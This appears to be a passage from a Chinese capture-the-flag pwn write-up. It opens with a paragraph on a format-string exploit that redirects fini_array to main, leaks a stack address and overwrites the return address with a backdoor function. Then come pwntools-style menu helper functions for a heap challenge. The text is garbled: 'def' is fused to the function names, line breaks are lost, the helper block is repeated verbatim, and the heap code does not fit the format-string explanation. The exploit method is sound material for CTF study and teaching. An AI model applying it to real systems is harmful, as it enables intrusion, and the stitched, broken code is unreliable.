整体思路就是修改 fini_array 指向的地址为 main 函数并泄露出栈地址,这样程序能再次返回到 main 函数并得到一个栈地址,然后计算出这个栈地址到返回栈地址的偏移,最后修改返回栈地址为 backdoor 函数即可。这里着重强调一下格式化字符串写的特性,例如栈上有 a->b>c,那么我们只能通过 a 来修改 c;如果是 a->b,那么我们是无法通过 a 来写 b 的。
defadd(index, size): p.recvuntil('5.- Exit') p.sendline(str(1).encode()) p.recvuntil('Enter the position of lunch') p.sendline(str(index).encode()) p.recvuntil('Enter the size in kcal.') p.sendline(str(size).encode())
defedit(index, data): p.recvuntil('5.- Exit') p.sendline(str(2).encode()) p.recvuntil('Introduce the menu to food') p.sendline(str(index).encode()) p.recvuntil('Enter the food') p.send(data)
defshow(index): p.recvuntil('5.- Exit') p.sendline(str(3).encode()) p.recvuntil('Enter the lunch to see') p.sendline(str(index).encode())
defdelete(index): p.recvuntil('5.- Exit') p.sendline(str(4).encode()) p.recvuntil('Introduce the menu to delete') p.sendline(str(index).encode())
defadd(index, size): p.recvuntil('5.- Exit') p.sendline(str(1).encode()) p.recvuntil('Enter the position of lunch') p.sendline(str(index).encode()) p.recvuntil('Enter the size in kcal.') p.sendline(str(size).encode())
defedit(index, data): p.recvuntil('5.- Exit') p.sendline(str(2).encode()) p.recvuntil('Introduce the menu to food') p.sendline(str(index).encode()) p.recvuntil('Enter the food') p.send(data)
defshow(index): p.recvuntil('5.- Exit') p.sendline(str(3).encode()) p.recvuntil('Enter the lunch to see') p.sendline(str(index).encode())
defdelete(index): p.recvuntil('5.- Exit') p.sendline(str(4).encode()) p.recvuntil('Introduce the menu to delete') p.sendline(str(index).encode())